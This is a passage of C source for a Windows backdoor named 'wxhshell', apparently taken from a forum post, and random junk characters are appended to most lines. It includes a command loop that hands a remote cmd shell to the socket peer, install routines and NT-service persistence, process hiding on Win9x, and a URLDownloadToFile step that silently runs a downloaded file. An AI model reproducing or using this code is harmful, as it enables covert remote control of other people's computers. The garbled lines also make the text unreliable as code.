  $}Ky6sBnvO  
  // 帮助 vS+E`[  
  case '?': { tJZ3P@ L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g7<u eF  
    break; 9i/VvW  
  } _J33u3v  
  // 安装 [5s4Jp$+  
  case 'i': { C!S( !Z,  
    if(Install()) Tyt1a>! qA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JAP4Vwj%j  
    else s<fzk1LZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n*vhCeL  
    break; Ox}a\B8  
    } J={IGA  
  // 卸载 l*>, :y  
  case 'r': { SOo}}a0  
    if(Uninstall()) w]Z:Y`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IRB BLXv7\  
    else }C9P--  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rkz[x  
    break; szU_,.\  
    } ZH8Oidj`  
  // 显示 wxhshell 所在路径 x"n)y1y  
  case 'p': { &{H LYxh   
    char svExeFile[MAX_PATH]; <& p0:S7  
    strcpy(svExeFile,"\n\r"); _q1E4z  
      strcat(svExeFile,ExeFile); "o>gX'm*  
        send(wsh,svExeFile,strlen(svExeFile),0); 56^#x  
    break; p;YS`*!s  
    } tAH0o\1;  
  // 重启 W>(p4m  
  case 'b': { 3eJ"7sftW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kESnlmy@J  
    if(Boot(REBOOT)) cr<ty"3\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g~Agy  
    else { ,)7y? *D}  
    closesocket(wsh); a) 5;Od  
    ExitThread(0); Vo:Gp  
    } =hDFpb,mr  
    break; ZT%Q:]B+  
    } f%5 s8)  
  // 关机 ? _Y2'O  
  case 'd': {  Vq K/GWg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yUp"%_t0  
    if(Boot(SHUTDOWN)) S 0L"5B@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0dKi25J  
    else { R`!'c(V  
    closesocket(wsh); ^Y- S"Ks  
    ExitThread(0); vK~tgZ&  
    } JN:EcVuy  
    break; e!JC5Al7  
    } c 6Z\ecH9  
  // 获取shell m(?ZNtBQt  
  case 's': { {|ChwM\x  
    CmdShell(wsh); OVgx2_F  
    closesocket(wsh); 4J6,_8`U  
    ExitThread(0); %$H~  
    break; ~AbTbQ3  
  } 'SE?IE{  
  // 退出 ; E]^7T  
  case 'x': { G tSvb6UNn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >xJh!w<pB  
    CloseIt(wsh); w,v~  
    break; 9$oU6#U,h  
    } 1feS/l$  
  // 离开 I-?Dil3  
  case 'q': { Jt}0%C3d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >@wyiBU  
    closesocket(wsh); ?RVY%s;g  
    WSACleanup(); S@PAtB5  
    exit(1); "J(W)\  
    break; UOAL7  
        } pz]#/Ry?  
  } Zbobi,  
  } ppu WcGo  
:*MqYny&  
  // 提示信息 > qhoGg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zOzobd   
} ^jxV  
  } `(@}O?w!1  
{3{cU#\QA  
  return; ?YTngIa  
} g<&n V>wF  
+ IpC  
// shell模块句柄 xesZ 7{ o  
int CmdShell(SOCKET sock) \vQjTM-7  
{ v;m}<3@'  
STARTUPINFO si; tjIT4  
ZeroMemory(&si,sizeof(si)); ,]UCq?YW)T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GIGC,zP@k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JTn\NSa  
PROCESS_INFORMATION ProcessInfo; x."/+/  
char cmdline[]="cmd"; bO2s'!x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ohPCYt  
  return 0; ]~H\X":[>  
} oPPxja g\  
|0e7<[  
// 自身启动模式 2Yt+[T*  
int StartFromService(void) #ovmX  
{ ExDv7St1(k  
typedef struct !uwZ%Ux z  
{ jR[3{ Reo  
  DWORD ExitStatus; :s5wFumD  
  DWORD PebBaseAddress; tUPdq0%t[  
  DWORD AffinityMask; $xl>YYEBMH  
  DWORD BasePriority; +>uiI4g  
  ULONG UniqueProcessId; -lNq.pp3-$  
  ULONG InheritedFromUniqueProcessId; tB i16=  
}   PROCESS_BASIC_INFORMATION; R&`; C<6}D  
l,n V*Z  
PROCNTQSIP NtQueryInformationProcess; bXw!fYm&  
[~[)C]-=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RZg8y+jM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5!pof\/a  
NEb M>1>^  
  HANDLE             hProcess; [G/ti&Od^  
  PROCESS_BASIC_INFORMATION pbi; XzBnj7E  
,4&?`Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `f~\d.*U  
  if(NULL == hInst ) return 0; QxaW x  
X>W2aDuEZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h/a|-V}m&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -~'{WSJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #rkz:ir4  
2Vn~o_ga  
  if (!NtQueryInformationProcess) return 0; +=Q/'g   
|\W9$V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i:coNK)4  
  if(!hProcess) return 0; qP}187Q1  
+%%Ef]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }+{ ? Ms  
} qf=5v  
  CloseHandle(hProcess); f=L&>X  
Q*J8`J:#^R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~5Cid)Q}@o  
if(hProcess==NULL) return 0; &Is}<Ew  
&*4C{N  
HMODULE hMod; nbECEQ:|B  
char procName[255]; dpPu&m+  
unsigned long cbNeeded; ZHWxU  
PqJB&:ZV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yDil  
d}Y\; '2,  
  CloseHandle(hProcess); aGR!T{`   
"nzQ$E>?$  
if(strstr(procName,"services")) return 1; // 以服务启动 9 Y-y?Y  
'wg>=|Q5  
  return 0; // 注册表启动 p!OCF]r  
} abW[hp  
+p Y*BP+~i  
// 主模块 |*T3TsP u  
int StartWxhshell(LPSTR lpCmdLine) ~g|Z6-?4Jj  
{ B,_/'DneQK  
  SOCKET wsl; !)1gGXRY  
BOOL val=TRUE; %\|9_=9Wn  
  int port=0; Us.")GiHE  
  struct sockaddr_in door; ~mR@L`"l  
t6+c"=P#  
  if(wscfg.ws_autoins) Install(); ]"2;x  
C2[* $ 1U  
port=atoi(lpCmdLine); .EF(<JC?  
b5u8j  
if(port<=0) port=wscfg.ws_port; ZgzjRa++  
I+VL~'VlS  
  WSADATA data; BIk0n;Kz<L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xRI7_8Jpyn  
8?za&v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dx&!RK+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P"%QFt,  
  door.sin_family = AF_INET; `Q@w*ta)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p" ;5J+?(  
  door.sin_port = htons(port); 4*D'zJsJ  
$\w<.)"#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <Pm!#)-g9  
closesocket(wsl); b:M1P&R  
return 1; 5p}ri,Y<  
} &qjc+-r{l  
1z6$>{FUR  
  if(listen(wsl,2) == INVALID_SOCKET) { wOLDHg_  
closesocket(wsl); VbG#)>"F  
return 1; S <RbC  
} n?[JPG2X  
  Wxhshell(wsl); Mxmo}tt  
  WSACleanup(); ev'` K=n8  
V4 `  
return 0; ~\oF}7l$  
x* 9 Xu"?  
} 6${=N}3Kw  
^vHh*Ub  
// 以NT服务方式启动 MP3Vo|}3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,l47;@kr  
{ Sf>#Zqj/  
DWORD   status = 0; $0mR_pA\fW  
  DWORD   specificError = 0xfffffff; .DX-biX,  
`B A'a" $  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F{*h~7D-|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s;ivoGe}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &}y?Lt  
  serviceStatus.dwWin32ExitCode     = 0; _ g8CvH)?!  
  serviceStatus.dwServiceSpecificExitCode = 0; a$AR  
  serviceStatus.dwCheckPoint       = 0; ++=f7y u  
  serviceStatus.dwWaitHint       = 0; vmj'X>Q  
;}dvc7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s?5vJ:M Xr  
  if (hServiceStatusHandle==0) return; mp:xR^5c  
Ct<]('Hm(  
status = GetLastError(); KL<,avC/  
  if (status!=NO_ERROR) Ym8 V)  
{ 0z =?}xr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l"rX'g?  
    serviceStatus.dwCheckPoint       = 0; :u9OD` D  
    serviceStatus.dwWaitHint       = 0; ~z kzuh  
    serviceStatus.dwWin32ExitCode     = status; JE *d-  
    serviceStatus.dwServiceSpecificExitCode = specificError; bl3?C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ o }  
    return; MtD0e@  
  } Mp7X+o/  
(k^o[HF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,6 IKkyD  
  serviceStatus.dwCheckPoint       = 0; @dyh: 2!  
  serviceStatus.dwWaitHint       = 0; &E+mXEve  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6KRC_-  
} 'nT#c[x[0  
QG=K^g  
// 处理NT服务事件,比如:启动、停止 II'"Nkxd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SYd6D@^2j  
{ 0 L$[w  
switch(fdwControl) a_3w/9L4r  
{ I'E7mb<2  
case SERVICE_CONTROL_STOP: {ew; /;  
  serviceStatus.dwWin32ExitCode = 0; KDS} "/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N`HiNb [  
  serviceStatus.dwCheckPoint   = 0; [0n[\& 0  
  serviceStatus.dwWaitHint     = 0; jcbq#  
  { F;L8FL-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5~[m]   
  } Fy$f`w_H@  
  return; 2 oo/KndU  
case SERVICE_CONTROL_PAUSE: `tPVNO,l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6Qk[TL)t  
  break; [Qqomm.[\w  
case SERVICE_CONTROL_CONTINUE: 6E-AfY'<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R uGG3"|  
  break; fgoLN\  
case SERVICE_CONTROL_INTERROGATE: ictV7)  
  break; `k6ZAOQtX  
}; f.Y [2b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TjE'X2/  
} ,rS?^"h9  
*>h|<|T'  
// 标准应用程序主函数 P?ms^   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mKBO<l{S  
{ b+CJRB1  
lc$wjK[w[  
// 获取操作系统版本 "WzKJwFr  
OsIsNt=GetOsVer(); ubv>* iO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _CMNmmp`e  
[jv+Of IZ  
  // 从命令行安装 ek"U q RY  
  if(strpbrk(lpCmdLine,"iI")) Install(); zP&D  
tv_&PIu]L  
  // 下载执行文件 bXi!_'z$  
if(wscfg.ws_downexe) { P~M[i9 V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1,(WS F  
  WinExec(wscfg.ws_filenam,SW_HIDE); +#Wwah$  
} [w90gp1O[  
v5F+@ug  
if(!OsIsNt) { :8`~dj.  
// 如果时win9x,隐藏进程并且设置为注册表启动 TwsI8X  
HideProc(); y_' 6bpb  
StartWxhshell(lpCmdLine); U=WS]  
} x5|^p=  
else 3 "iBcsLn  
  if(StartFromService()) "AP$)xM-:  
  // 以服务方式启动 )Dp0swJ  
  StartServiceCtrlDispatcher(DispatchTable); B@U'7`v  
else ^=k=;   
  // 普通方式启动 RGL2S]UFs  
  StartWxhshell(lpCmdLine); PthgxB^  
4.p:$/GTS  
return 0; D94bq_2}  
}
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只看该作者 1 发表于: 2006-10-10
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